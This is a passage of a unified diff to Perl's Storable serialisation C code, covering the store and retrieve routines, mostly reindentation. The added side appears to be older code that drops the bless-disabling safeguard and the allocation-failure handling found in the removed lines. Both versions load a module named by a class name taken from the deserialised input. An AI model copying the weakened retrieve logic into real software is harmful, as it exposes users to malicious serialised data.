\@array); - * so we must get the scalar value behind that reference. - */ + /* + * Ensure sv is actually a reference. From perl, we called something + * like: + * pstore(aTHX_ FILE, \@array); + * so we must get the scalar value behind that reference. + */ - if (!SvROK(sv)) - CROAK(("Not a reference")); - sv = SvRV(sv); /* So follow it to know what to store */ + if (!SvROK(sv)) + CROAK(("Not a reference")); + sv = SvRV(sv); /* So follow it to know what to store */ - /* - * If we're going to store to memory, reset the buffer. - */ + /* + * If we're going to store to memory, reset the buffer. + */ - if (!f) - MBUF_INIT(0); + if (!f) + MBUF_INIT(0); - /* - * Prepare context and emit headers. - */ + /* + * Prepare context and emit headers. + */ - init_store_context(aTHX_ cxt, f, optype, network_order); + init_store_context(aTHX_ cxt, f, optype, network_order); - if (-1 == magic_write(aTHX_ cxt)) /* Emit magic and ILP info */ - return 0; /* Error */ + if (-1 == magic_write(aTHX_ cxt)) /* Emit magic and ILP info */ + return 0; /* Error */ - /* - * Recursively store object... - */ + /* + * Recursively store object... + */ - ASSERT(is_storing(aTHX), ("within store operation")); + ASSERT(is_storing(aTHX), ("within store operation")); - status = store(aTHX_ cxt, sv); /* Just do it! */ + status = store(aTHX_ cxt, sv); /* Just do it! */ - /* - * If they asked for a memory store and they provided an SV pointer, - * make an SV string out of the buffer and fill their pointer. - * - * When asking for ST_REAL, it's MANDATORY for the caller to provide - * an SV, since context cleanup might free the buffer if we did recurse. - * (unless caller is dclone(), which is aware of that). - */ + /* + * If they asked for a memory store and they provided an SV pointer, + * make an SV string out of the buffer and fill their pointer. + * + * When asking for ST_REAL, it's MANDATORY for the caller to provide + * an SV, since context cleanup might free the buffer if we did recurse. + * (unless caller is dclone(), which is aware of that). + */ - if (!cxt->fio && res) - *res = mbuf2sv(aTHX); + if (!cxt->fio && res) + *res = mbuf2sv(aTHX); - TRACEME(("do_store returns %d", status)); + /* + * Final cleanup. + * + * The "root" context is never freed, since it is meant to be always + * handy for the common case where no recursion occurs at all (i.e. + * we enter store() outside of any Storable code and leave it, period). + * We know it's the "root" context because there's nothing stacked + * underneath it. + * + * OPTIMIZATION: + * + * When deep cloning, we don't free the context: doing so would force + * us to copy the data in the memory buffer. Sicne we know we're + * about to enter do_retrieve... + */ - /* - * Final cleanup. - * - * The "root" context is never freed, since it is meant to be always - * handy for the common case where no recursion occurs at all (i.e. - * we enter store() outside of any Storable code and leave it, period). - * We know it's the "root" context because there's nothing stacked - * underneath it. - * - * OPTIMIZATION: - * - * When deep cloning, we don't free the context: doing so would force - * us to copy the data in the memory buffer. Sicne we know we're - * about to enter do_retrieve... - */ + clean_store_context(aTHX_ cxt); + if (cxt->prev && !(cxt->optype & ST_CLONE)) + free_context(aTHX_ cxt); - clean_store_context(aTHX_ cxt); - if (cxt->prev && !(cxt->optype & ST_CLONE)) - free_context(aTHX_ cxt); + TRACEME(("do_store returns %d", status)); - return status == 0; + return status == 0; } /*** @@ -4704,10 +3961,10 @@ static int do_store(pTHX_ */ static SV *mbuf2sv(pTHX) { - dSTCXT; + dSTCXT; - assert(cxt); - return newSVpv(mbase, MBUF_SIZE()); + assert(cxt); + return newSVpv(mbase, MBUF_SIZE()); } /*** @@ -4722,22 +3979,22 @@ static SV *mbuf2sv(pTHX) */ static SV *retrieve_other(pTHX_ stcxt_t *cxt, const char *cname) { - PERL_UNUSED_ARG(cname); - if ( - cxt->ver_major != STORABLE_BIN_MAJOR && - cxt->ver_minor != STORABLE_BIN_MINOR + PERL_UNUSED_ARG(cname); + if ( + cxt->ver_major != STORABLE_BIN_MAJOR && + cxt->ver_minor != STORABLE_BIN_MINOR ) { - CROAK(("Corrupted storable %s (binary v%d.%d), current is v%d.%d", - cxt->fio ? "file" : "string", - cxt->ver_major, cxt->ver_minor, - STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR)); - } else { - CROAK(("Corrupted storable %s (binary v%d.%d)", - cxt->fio ? "file" : "string", - cxt->ver_major, cxt->ver_minor)); - } + CROAK(("Corrupted storable %s (binary v%d.%d), current is v%d.%d", + cxt->fio ? "file" : "string", + cxt->ver_major, cxt->ver_minor, + STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR)); + } else { + CROAK(("Corrupted storable %s (binary v%d.%d)", + cxt->fio ? "file" : "string", + cxt->ver_major, cxt->ver_minor)); + } - return (SV *) 0; /* Just in case */ + return (SV *) 0; /* Just in case */ } /* @@ -4748,40 +4005,39 @@ static SV *retrieve_other(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_idx_blessed(pTHX_ stcxt_t *cxt, const char *cname) { - I32 idx; - const char *classname; - SV **sva; - SV *sv; + I32 idx; + const char *classname; + SV **sva; + SV *sv; - PERL_UNUSED_ARG(cname); - TRACEME(("retrieve_idx_blessed (#%d)", (int)cxt->tagnum)); - ASSERT(!cname, ("no bless-into class given here, got %s", cname)); + PERL_UNUSED_ARG(cname); + TRACEME(("retrieve_idx_blessed (#%d)", cxt->tagnum)); + ASSERT(!cname, ("no bless-into class given here, got %s", cname)); - GETMARK(idx); /* Index coded on a single char? */ - if (idx & 0x80) - RLEN(idx); + GETMARK(idx); /* Index coded on a single char? */ + if (idx & 0x80) + RLEN(idx); - /* - * Fetch classname in 'aclass' - */ + /* + * Fetch classname in 'aclass' + */ - sva = av_fetch(cxt->aclass, idx, FALSE); - if (!sva) - CROAK(("Class name #%" IVdf " should have been seen already", - (IV) idx)); + sva = av_fetch(cxt->aclass, idx, FALSE); + if (!sva) + CROAK(("Class name #%" IVdf " should have been seen already", + (IV) idx)); - classname = SvPVX(*sva); /* We know it's a PV, by construction */ + classname = SvPVX(*sva); /* We know it's a PV, by construction */ - TRACEME(("class ID %d => %s", (int)idx, classname)); + TRACEME(("class ID %d => %s", idx, classname)); - /* - * Retrieve object and bless it. - */ + /* + * Retrieve object and bless it. + */ - sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN - will be blessed */ + sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN will be blessed */ - return sv; + return sv; } /* @@ -4791,563 +4047,502 @@ static SV *retrieve_idx_blessed(pTHX_ stcxt_t *cxt, const char *cname) * can be coded on either 1 or 5 bytes. */ static SV *retrieve_blessed(pTHX_ stcxt_t *cxt, const char *cname) -{ - U32 len; - SV *sv; - char buf[LG_BLESS + 1]; /* Avoid malloc() if possible */ - char *classname = buf; - char *malloced_classname = NULL; - - PERL_UNUSED_ARG(cname); - TRACEME(("retrieve_blessed (#%d)", (int)cxt->tagnum)); - ASSERT(!cname, ("no bless-into class given here, got %s", cname)); - - /* - * Decode class name length and read that name. - * - * Short classnames have two advantages: their length is stored on one - * single byte, and the string can be read on the stack. - */ - - GETMARK(len); /* Length coded on a single char? */ - if (len & 0x80) { - RLEN(len); - TRACEME(("** allocating %ld bytes for class name", (long)len+1)); - if (len > I32_MAX) - CROAK(("Corrupted classname length %lu", (long)len)); - PL_nomemok = TRUE; /* handle error by ourselves */ - New(10003, classname, len+1, char); - PL_nomemok = FALSE; - if (!classname) - CROAK(("Out of memory with len %ld", (long)len)); - PL_nomemok = FALSE; - malloced_classname = classname; - } - SAFEPVREAD(classname, (I32)len, malloced_classname); - classname[len] = '\0'; /* Mark string end */ - - /* - * It's a new classname, otherwise it would have been an SX_IX_BLESS. - */ - - TRACEME(("new class name \"%s\" will bear ID = %d", classname, - (int)cxt->classnum)); - - if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) { - Safefree(malloced_classname); - return (SV *) 0; - } - - /* - * Retrieve object and bless it. - */ - - sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN will be blessed */ - if (malloced_classname) - Safefree(malloced_classname); - - return sv; -} - -/* - * retrieve_hook - * - * Layout: SX_HOOK [ ] - * with leading mark already read, as usual. - * - * When recursion was involved during serialization of the object, there - * is an unknown amount of serialized objects after the SX_HOOK mark. Until - * we reach a marker with the recursion bit cleared. - * - * If the first byte contains a type of SHT_EXTRA, then the real type - * is held in the byte, and if the object is tied, the serialized - * magic object comes at the very end: - * - * SX_HOOK ... [ ] - * - * This means the STORABLE_thaw hook will NOT get a tied variable during its - * processing (since we won't have seen the magic object by the time the hook - * is called). See comments below for why it was done that way. - */ -static SV *retrieve_hook_common(pTHX_ stcxt_t *cxt, const char *cname, int large) -{ - U32 len; - char buf[LG_BLESS + 1]; /* Avoid malloc() if possible */ - char *classname = buf; - unsigned int flags; - STRLEN len2; - SV *frozen; - I32 len3 = 0; - AV *av = 0; - SV *hook; - SV *sv; - SV *rv; - GV *attach; - HV *stash; - int obj_type; - int clone = cxt->optype & ST_CLONE; - char mtype = '\0'; - unsigned int extra_type = 0; -#ifdef HAS_U64 - int has_large_oids = 0; -#endif - - PERL_UNUSED_ARG(cname); - TRACEME(("retrieve_hook (#%d)", (int)cxt->tagnum)); - ASSERT(!cname, ("no bless-into class given here, got %s", cname)); - -#ifndef HAS_U64 - assert(!large); - PERL_UNUSED_ARG(large); -#endif - - /* - * Read flags, which tell us about the type, and whether we need - * to recurse. - */ - - GETMARK(flags); - - /* - * Create the (empty) object, and mark it as seen. - * - * This must be done now, because tags are incremented, and during - * serialization, the object tag was affected before recursion could - * take place. - */ - - obj_type = flags & SHF_TYPE_MASK; - switch (obj_type) { - case SHT_SCALAR: - sv = newSV(0); - break; - case SHT_ARRAY: - sv = (SV *) newAV(); - break; - case SHT_HASH: - sv = (SV *) newHV(); - break; - case SHT_EXTRA: - /* - * Read flag to know the type of the object. - * Record associated magic type for later. - */ - GETMARK(extra_type); - switch (extra_type) { - case SHT_TSCALAR: - sv = newSV(0); - mtype = 'q'; - break; - case SHT_TARRAY: - sv = (SV *) newAV(); - mtype = 'P'; - break; - case SHT_THASH: - sv = (SV *) newHV(); - mtype = 'P'; - break; - default: - return retrieve_other(aTHX_ cxt, 0);/* Let it croak */ - } - break; - default: - return retrieve_other(aTHX_ cxt, 0); /* Let it croak */ - } - SEEN0_NN(sv, 0); /* Don't bless yet */ - - /* - * Whilst flags tell us to recurse, do so. - * - * We don't need to remember the addresses returned by retrieval, because - * all the references will be obtained through indirection via the object - * tags in the object-ID list. - * - * We need to decrement the reference count for these objects - * because, if the user doesn't save a reference to them in the hook, - * they must be freed when this context is cleaned. - */ - - while (flags & SHF_NEED_RECURSE) { - TRACEME(("retrieve_hook recursing...")); - rv = retrieve(aTHX_ cxt, 0); - if (!rv) - return (SV *) 0; - SvREFCNT_dec(rv); - TRACEME(("retrieve_hook back with rv=0x%" UVxf, - PTR2UV(rv))); - GETMARK(flags); - } - - if (flags & SHF_IDX_CLASSNAME) { - SV **sva; - I32 idx; - - /* - * Fetch index from 'aclass' - */ - - if (flags & SHF_LARGE_CLASSLEN) - RLEN(idx); - else - GETMARK(idx); - - sva = av_fetch(cxt->aclass, idx, FALSE); - if (!sva) - CROAK(("Class name #%" IVdf " should have been seen already", - (IV) idx)); - - classname = SvPVX(*sva); /* We know it's a PV, by construction */ - TRACEME(("class ID %d => %s", (int)idx, classname)); - - } else { - /* - * Decode class name length and read that name. - * - * NOTA BENE: even if the length is stored on one byte, we don't read - * on the stack. Just like retrieve_blessed(), we limit the name to - * LG_BLESS bytes. This is an arbitrary decision. - */ - char *malloced_classname = NULL; - - if (flags & SHF_LARGE_CLASSLEN) - RLEN(len); - else - GETMARK(len); - - TRACEME(("** allocating %ld bytes for class name", (long)len+1)); - if (len > I32_MAX) /* security */ - CROAK(("Corrupted classname length %lu", (long)len)); - else if (len > LG_BLESS) { /* security: signed len */ - PL_nomemok = TRUE; /* handle error by ourselves */ - New(10003, classname, len+1, char); - PL_nomemok = FALSE; - if (!classname) - CROAK(("Out of memory with len %u", (unsigned)len+1)); - malloced_classname = classname; - } - - SAFEPVREAD(classname, (I32)len, malloced_classname); - classname[len] = '\0'; /* Mark string end */ - - /* - * Record new classname. - */ - - if (!av_store(cxt->aclass, cxt->classnum++, - newSVpvn(classname, len))) { - Safefree(malloced_classname); - return (SV *) 0; - } - } - - TRACEME(("class name: %s", classname)); - - /* - * Decode user-frozen string length and read it in an SV. - * - * For efficiency reasons, we read data directly into the SV buffer. - * To understand that code, read retrieve_scalar() - */ - -#ifdef HAS_U64 - if (large) { - READ_U64(len2); - } - else -#endif - if (flags & SHF_LARGE_STRLEN) { - U32 len32; - RLEN(len32); - len2 = len32; - } - else - GETMARK(len2); - - frozen = NEWSV(10002, len2 ? len2 : 1); - if (len2) { - SAFEREAD(SvPVX(frozen), len2, frozen); - } - SvCUR_set(frozen, len2); - *SvEND(frozen) = '\0'; - (void) SvPOK_only(frozen); /* Validates string pointer */ - if (cxt->s_tainted) /* Is input source tainted? */ - SvTAINT(frozen); - - TRACEME(("frozen string: %d bytes", (int)len2)); - - /* - * Decode object-ID list length, if present. - */ - - if (flags & SHF_HAS_LIST) { - if (flags & SHF_LARGE_LISTLEN) { - RLEN(len3); - if (len3 < 0) { -#ifdef HAS_U64 - ++has_large_oids; - len3 = -len3; -#else - CROAK(("Large object ids in hook data not supported on 32-bit platforms")); -#endif - - } - } - else - GETMARK(len3); - if (len3) { - av = newAV(); - av_extend(av, len3 + 1); /* Leave room for [0] */ - AvFILLp(av) = len3; /* About to be filled anyway */ - } - } - - TRACEME(("has %d object IDs to link", (int)len3)); - - /* - * Read object-ID list into array. - * Because we pre-extended it, we can cheat and fill it manually. - * - * We read object tags and we can convert them into SV* on the fly - * because we know all the references listed in there (as tags) - * have been already serialized, hence we have a valid correspondence - * between each of those tags and the recreated SV. - */ - - if (av) { - SV **ary = AvARRAY(av); - int i; - for (i = 1; i <= len3; i++) { /* We leave [0] alone */ - ntag_t tag; - SV **svh; - SV *xsv; - -#ifdef HAS_U64 - if (has_large_oids) { - READ_U64(tag); - } - else { - U32 tmp; - READ_I32(tmp); - tag = ntohl(tmp); - } -#else - READ_I32(tag); - tag = ntohl(tag); -#endif - - svh = av_fetch(cxt->aseen, tag, FALSE); - if (!svh) { - if (tag == cxt->where_is_undef) { - /* av_fetch uses PL_sv_undef internally, hence this - somewhat gruesome hack. */ - xsv = &PL_sv_undef; - svh = &xsv; - } else { - CROAK(("Object #%" IVdf - " should have been retrieved already", - (IV) tag)); - } - } - xsv = *svh; - ary[i] = SvREFCNT_inc(xsv); - } - } - - /* - * Look up the STORABLE_attach hook - * If blessing is disabled, just return what we've got. - */ - if (!(cxt->flags & FLAG_BLESS_OK)) { - TRACEME(("skipping bless because flags is %d", cxt->flags)); - return sv; - } - - /* - * Bless the object and look up the STORABLE_thaw hook. - */ - stash = gv_stashpv(classname, GV_ADD); - - /* Handle attach case; again can't use pkg_can because it only - * caches one method */ - attach = gv_fetchmethod_autoload(stash, "STORABLE_attach", FALSE); - if (attach && isGV(attach)) { - SV* attached; - SV* attach_hook = newRV_inc((SV*) GvCV(attach)); - - if (av) - CROAK(("STORABLE_attach called with unexpected references")); - av = newAV(); - av_extend(av, 1); - AvFILLp(av) = 0; - AvARRAY(av)[0] = SvREFCNT_inc(frozen); - rv = newSVpv(classname, 0); - attached = scalar_call(aTHX_ rv, attach_hook, clone, av, G_SCALAR); - /* Free memory after a call */ - SvREFCNT_dec(rv); - SvREFCNT_dec(frozen); - av_undef(av); - sv_free((SV *) av); - SvREFCNT_dec(attach_hook); - if (attached && - SvROK(attached) && - sv_derived_from(attached, classname) - ) { - UNSEE(); - /* refcnt of unneeded sv is 2 at this point - (one from newHV, second from SEEN call) */ - SvREFCNT_dec(sv); - SvREFCNT_dec(sv); - /* we need to free RV but preserve value that RV point to */ - sv = SvRV(attached); - SEEN0_NN(sv, 0); - SvRV_set(attached, NULL); - SvREFCNT_dec(attached); - if (!(flags & SHF_IDX_CLASSNAME) && classname != buf) - Safefree(classname); - return sv; - } - CROAK(("STORABLE_attach did not return a %s object", classname)); - } - - /* - * Bless the object and look up the STORABLE_thaw hook. - */ +{ + U32 len; + SV *sv; + char buf[LG_BLESS + 1]; /* Avoid malloc() if possible */ + char *classname = buf; + char *malloced_classname = NULL; + + PERL_UNUSED_ARG(cname); + TRACEME(("retrieve_blessed (#%d)", cxt->tagnum)); + ASSERT(!cname, ("no bless-into class given here, got %s", cname)); + + /* + * Decode class name length and read that name. + * + * Short classnames have two advantages: their length is stored on one + * single byte, and the string can be read on the stack. + */ + + GETMARK(len); /* Length coded on a single char? */ + if (len & 0x80) { + RLEN(len); + TRACEME(("** allocating %d bytes for class name", len+1)); + if (len > I32_MAX) { + CROAK(("Corrupted classname length")); + } + New(10003, classname, len+1, char); + malloced_classname = classname; + } + SAFEPVREAD(classname, len, malloced_classname); + classname[len] = '\0'; /* Mark string end */ - BLESS(sv, stash); + /* + * It's a new classname, otherwise it would have been an SX_IX_BLESS. + */ - hook = pkg_can(aTHX_ cxt->hook, stash, "STORABLE_thaw"); - if (!hook) { - /* - * Hook not found. Maybe they did not require the module where this - * hook is defined yet? - * - * If the load below succeeds, we'll be able to find the hook. - * Still, it only works reliably when each class is defined in a - * file of its own. - */ + TRACEME(("new class name \"%s\" will bear ID = %d", classname, cxt->classnum)); - TRACEME(("No STORABLE_thaw defined for objects of class %s", classname)); - TRACEME(("Going to load module '%s'", classname)); - load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv); + if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) { + Safefree(malloced_classname); + return (SV *) 0; + } - /* - * We cache results of pkg_can, so we need to uncache before attempting - * the lookup again. - */ + /* + * Retrieve object and bless it. + */ - pkg_uncache(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw"); - hook = pkg_can(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw"); + sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN will be blessed */ + if (malloced_classname) + Safefree(malloced_classname); - if (!hook) - CROAK(("No STORABLE_thaw defined for objects of class %s " - "(even after a \"require %s;\")", classname, classname)); - } + return sv; +} - /* - * If we don't have an 'av' yet, prepare one. - * Then insert the frozen string as item [0]. - */ +/* + * retrieve_hook + * + * Layout: SX_HOOK [ ] + * with leading mark already read, as usual. + * + * When recursion was involved during serialization of the object, there + * is an unknown amount of serialized objects after the SX_HOOK mark. Until + * we reach a marker with the recursion bit cleared. + * + * If the first byte contains a type of SHT_EXTRA, then the real type + * is held in the byte, and if the object is tied, the serialized + * magic object comes at the very end: + * + * SX_HOOK ... [ ] + * + * This means the STORABLE_thaw hook will NOT get a tied variable during its + * processing (since we won't have seen the magic object by the time the hook + * is called). See comments below for why it was done that way. + */ +static SV *retrieve_hook(pTHX_ stcxt_t *cxt, const char *cname) +{ + U32 len; + char buf[LG_BLESS + 1]; /* Avoid malloc() if possible */ + char *classname = buf; + unsigned int flags; + I32 len2; + SV *frozen; + I32 len3 = 0; + AV *av = 0; + SV *hook; + SV *sv; + SV *rv; + GV *attach; + HV *stash; + int obj_type; + int clone = cxt->optype & ST_CLONE; + char mtype = '\0'; + unsigned int extra_type = 0; + + PERL_UNUSED_ARG(cname); + TRACEME(("retrieve_hook (#%d)", cxt->tagnum)); + ASSERT(!cname, ("no bless-into class given here, got %s", cname)); + + /* + * Read flags, which tell us about the type, and whether we need to recurse. + */ + + GETMARK(flags); + + /* + * Create the (empty) object, and mark it as seen. + * + * This must be done now, because tags are incremented, and during + * serialization, the object tag was affected before recursion could + * take place. + */ + + obj_type = flags & SHF_TYPE_MASK; + switch (obj_type) { + case SHT_SCALAR: + sv = newSV(0); + break; + case SHT_ARRAY: + sv = (SV *) newAV(); + break; + case SHT_HASH: + sv = (SV *) newHV(); + break; + case SHT_EXTRA: + /* + * Read flag to know the type of the object. + * Record associated magic type for later. + */ + GETMARK(extra_type); + switch (extra_type) { + case SHT_TSCALAR: + sv = newSV(0); + mtype = 'q'; + break; + case SHT_TARRAY: + sv = (SV *) newAV(); + mtype = 'P'; + break; + case SHT_THASH: + sv = (SV *) newHV(); + mtype = 'P'; + break; + default: + return retrieve_other(aTHX_ cxt, 0); /* Let it croak */ + } + break; + default: + return retrieve_other(aTHX_ cxt, 0); /* Let it croak */ + } + SEEN0_NN(sv, 0); /* Don't bless yet */ + + /* + * Whilst flags tell us to recurse, do so. + * + * We don't need to remember the addresses returned by retrieval, because + * all the references will be obtained through indirection via the object + * tags in the object-ID list. + * + * We need to decrement the reference count for these objects + * because, if the user doesn't save a reference to them in the hook, + * they must be freed when this context is cleaned. + */ + + while (flags & SHF_NEED_RECURSE) { + TRACEME(("retrieve_hook recursing...")); + rv = retrieve(aTHX_ cxt, 0); + if (!rv) + return (SV *) 0; + SvREFCNT_dec(rv); + TRACEME(("retrieve_hook back with rv=0x%" UVxf, + PTR2UV(rv))); + GETMARK(flags); + } - if (!av) { - av = newAV(); - av_extend(av, 1); - AvFILLp(av) = 0; - } - AvARRAY(av)[0] = SvREFCNT_inc(frozen); + if (flags & SHF_IDX_CLASSNAME) { + SV **sva; + I32 idx; + + /* + * Fetch index from 'aclass' + */ + + if (flags & SHF_LARGE_CLASSLEN) + RLEN(idx); + else + GETMARK(idx); + + sva = av_fetch(cxt->aclass, idx, FALSE); + if (!sva) + CROAK(("Class name #%" IVdf + " should have been seen already", (IV) idx)); + + classname = SvPVX(*sva); /* We know it's a PV, by construction */ + TRACEME(("class ID %d => %s", idx, classname)); + + } else { + /* + * Decode class name length and read that name. + * + * NOTA BENE: even if the length is stored on one byte, we don't read + * on the stack. Just like retrieve_blessed(), we limit the name to + * LG_BLESS bytes. This is an arbitrary decision. + */ + char *malloced_classname = NULL; + + if (flags & SHF_LARGE_CLASSLEN) + RLEN(len); + else + GETMARK(len); + + if (len > I32_MAX) { + CROAK(("Corrupted classname length")); + } + + if (len > LG_BLESS) { + TRACEME(("** allocating %d bytes for class name", len+1)); + New(10003, classname, len+1, char); + malloced_classname = classname; + } + + SAFEPVREAD(classname, len, malloced_classname); + classname[len] = '\0'; /* Mark string end */ + + /* + * Record new classname. + */ + + if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) { + Safefree(malloced_classname); + return (SV *) 0; + } + } - /* - * Call the hook as: - * - * $object->STORABLE_thaw($cloning, $frozen, @refs); - * - * where $object is our blessed (empty) object, $cloning is a boolean - * telling whether we're running a deep clone, $frozen is the frozen - * string the user gave us in his serializing hook, and @refs, which may - * be empty, is the list of extra references he returned along for us - * to serialize. - * - * In effect, the hook is an alternate creation routine for the class, - * the object itself being already created by the runtime. - */ + TRACEME(("class name: %s", classname)); - TRACEME(("calling STORABLE_thaw on %s at 0x%" UVxf " (%" IVdf " args)", - classname, PTR2UV(sv), (IV) AvFILLp(av) + 1)); + if (!(flags & SHF_IDX_CLASSNAME) && classname != buf) { + /* some execution paths can throw an exception */ + SAVEFREEPV(classname); + } - rv = newRV_inc(sv); - (void) scalar_call(aTHX_ rv, hook, clone, av, G_SCALAR|G_DISCARD); - SvREFCNT_dec(rv); + /* + * Decode user-frozen string length and read it in an SV. + * + * For efficiency reasons, we read data directly into the SV buffer. + * To understand that code, read retrieve_scalar() + */ - /* - * Final cleanup. - */ + if (flags & SHF_LARGE_STRLEN) + RLEN(len2); + else + GETMARK(len2); - SvREFCNT_dec(frozen); - av_undef(av); - sv_free((SV *) av); - if (!(flags & SHF_IDX_CLASSNAME) && classname != buf) - Safefree(classname); + frozen = NEWSV(10002, len2); + if (len2) { + SAFEREAD(SvPVX(frozen), len2, frozen); + SvCUR_set(frozen, len2); + *SvEND(frozen) = '\0'; + } + (void) SvPOK_only(frozen); /* Validates string pointer */ + if (cxt->s_tainted) /* Is input source tainted? */ + SvTAINT(frozen); + + TRACEME(("frozen string: %d bytes", len2)); + + /* + * Decode object-ID list length, if present. + */ + + if (flags & SHF_HAS_LIST) { + if (flags & SHF_LARGE_LISTLEN) + RLEN(len3); + else + GETMARK(len3); + if (len3) { + av = newAV(); + av_extend(av, len3 + 1); /* Leave room for [0] */ + AvFILLp(av) = len3; /* About to be filled anyway */ + } + } - /* - * If we had an type, then the object was not as simple, and - * we need to restore extra magic now. - */ + TRACEME(("has %d object IDs to link", len3)); + + /* + * Read object-ID list into array. + * Because we pre-extended it, we can cheat and fill it manually. + * + * We read object tags and we can convert them into SV* on the fly + * because we know all the references listed in there (as tags) + * have been already serialized, hence we have a valid correspondence + * between each of those tags and the recreated SV. + */ + + if (av) { + SV **ary = AvARRAY(av); + int i; + for (i = 1; i <= len3; i++) { /* We leave [0] alone */ + I32 tag; + SV **svh; + SV *xsv; + + READ_I32(tag); + tag = ntohl(tag); + svh = av_fetch(cxt->aseen, tag, FALSE); + if (!svh) { + if (tag == cxt->where_is_undef) { + /* av_fetch uses PL_sv_undef internally, hence this + somewhat gruesome hack. */ + xsv = &PL_sv_undef; + svh = &xsv; + } else { + CROAK(("Object #%" IVdf + " should have been retrieved already", + (IV) tag)); + } + } + xsv = *svh; + ary[i] = SvREFCNT_inc(xsv); + } + } - if (!extra_type) - return sv; - - TRACEME(("retrieving magic object for 0x%" UVxf "...", PTR2UV(sv))); - - rv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - - TRACEME(("restoring the magic object 0x%" UVxf " part of 0x%" UVxf, - PTR2UV(rv), PTR2UV(sv))); - - switch (extra_type) { - case SHT_TSCALAR: - sv_upgrade(sv, SVt_PVMG); - break; - case SHT_TARRAY: - sv_upgrade(sv, SVt_PVAV); - AvREAL_off((AV *)sv); - break; - case SHT_THASH: - sv_upgrade(sv, SVt_PVHV); - break; - default: - CROAK(("Forgot to deal with extra type %d", extra_type)); - break; - } + /* + * Look up the STORABLE_attach hook + */ + stash = gv_stashpv(classname, GV_ADD); + + /* Handle attach case; again can't use pkg_can because it only + * caches one method */ + attach = gv_fetchmethod_autoload(stash, "STORABLE_attach", FALSE); + if (attach && isGV(attach)) { + SV* attached; + SV* attach_hook = newRV((SV*) GvCV(attach)); + + if (av) + CROAK(("STORABLE_attach called with unexpected references")); + av = newAV(); + av_extend(av, 1); + AvFILLp(av) = 0; + AvARRAY(av)[0] = SvREFCNT_inc(frozen); + rv = newSVpv(classname, 0); + attached = scalar_call(aTHX_ rv, attach_hook, clone, av, G_SCALAR); + /* Free memory after a call */ + SvREFCNT_dec(rv); + SvREFCNT_dec(frozen); + av_undef(av); + sv_free((SV *) av); + SvREFCNT_dec(attach_hook); + if (attached && + SvROK(attached) && + sv_derived_from(attached, classname) + ) { + UNSEE(); + /* refcnt of unneeded sv is 2 at this point (one from newHV, second from SEEN call) */ + SvREFCNT_dec(sv); + SvREFCNT_dec(sv); + /* we need to free RV but preserve value that RV point to */ + sv = SvRV(attached); + SEEN0_NN(sv, 0); + SvRV_set(attached, NULL); + SvREFCNT_dec(attached); + return sv; + } + CROAK(("STORABLE_attach did not return a %s object", classname)); + } - /* - * Adding the magic only now, well after the STORABLE_thaw hook was called - * means the hook cannot know it deals with an object whose variable is - * tied. But this is happening when retrieving $o in the following case: - * - * my %h; - * tie %h, 'FOO'; - * my $o = bless \%h, 'BAR'; - * - * The 'BAR' class is NOT the one where %h is tied into. Therefore, as - * far as the 'BAR' class is concerned, the fact that %h is not a REAL - * hash but a tied one should not matter at all, and remain transparent. - * This means the magic must be restored by Storable AFTER the hook is - * called. - * - * That looks very reasonable to me, but then I've come up with this - * after a bug report from David Nesting, who was trying to store such - * an object and caused Storable to fail. And unfortunately, it was - * also the easiest way to retrofit support for blessed ref to tied objects - * into the existing design. -- RAM, 17/02/2001 - */ + /* + * Bless the object and look up the STORABLE_thaw hook. + */ + + BLESS(sv, stash); + + hook = pkg_can(aTHX_ cxt->hook, stash, "STORABLE_thaw"); + if (!hook) { + /* + * Hook not found. Maybe they did not require the module where this + * hook is defined yet? + * + * If the load below succeeds, we'll be able to find the hook. + * Still, it only works reliably when each class is defined in a + * file of its own. + */ + + TRACEME(("No STORABLE_thaw defined for objects of class %s", classname)); + TRACEME(("Going to load module '%s'", classname)); + load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv); + + /* + * We cache results of pkg_can, so we need to uncache before attempting + * the lookup again. + */ + + pkg_uncache(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw"); + hook = pkg_can(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw"); + + if (!hook) + CROAK(("No STORABLE_thaw defined for objects of class %s " + "(even after a \"require %s;\")", classname, classname)); + } - sv_magic(sv, rv, mtype, (char *)NULL, 0); - SvREFCNT_dec(rv); /* Undo refcnt inc from sv_magic() */ + /* + * If we don't have an 'av' yet, prepare one. + * Then insert the frozen string as item [0]. + */ - return sv; -} + if (!av) { + av = newAV(); + av_extend(av, 1); + AvFILLp(av) = 0; + } + AvARRAY(av)[0] = SvREFCNT_inc(frozen); + + /* + * Call the hook as: + * + * $object->STORABLE_thaw($cloning, $frozen, @refs); + * + * where $object is our blessed (empty) object, $cloning is a boolean + * telling whether we're running a deep clone, $frozen is the frozen + * string the user gave us in his serializing hook, and @refs, which may + * be empty, is the list of extra references he returned along for us + * to serialize. + * + * In effect, the hook is an alternate creation routine for the class, + * the object itself being already created by the runtime. + */ + + TRACEME(("calling STORABLE_thaw on %s at 0x%" UVxf " (%" IVdf " args)", + classname, PTR2UV(sv), (IV) AvFILLp(av) + 1)); + + rv = newRV(sv); + (void) scalar_call(aTHX_ rv, hook, clone, av, G_SCALAR|G_DISCARD); + SvREFCNT_dec(rv); + + /* + * Final cleanup. + */ + + SvREFCNT_dec(frozen); + av_undef(av); + sv_free((SV *) av); + + /* + * If we had an type, then the object was not as simple, and + * we need to restore extra magic now. + */ + + if (!extra_type) + return sv; + + TRACEME(("retrieving magic object for 0x%" UVxf "...", PTR2UV(sv))); + + rv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + + TRACEME(("restoring the magic object 0x%" UVxf " part of 0x%" UVxf, + PTR2UV(rv), PTR2UV(sv))); + + switch (extra_type) { + case SHT_TSCALAR: + sv_upgrade(sv, 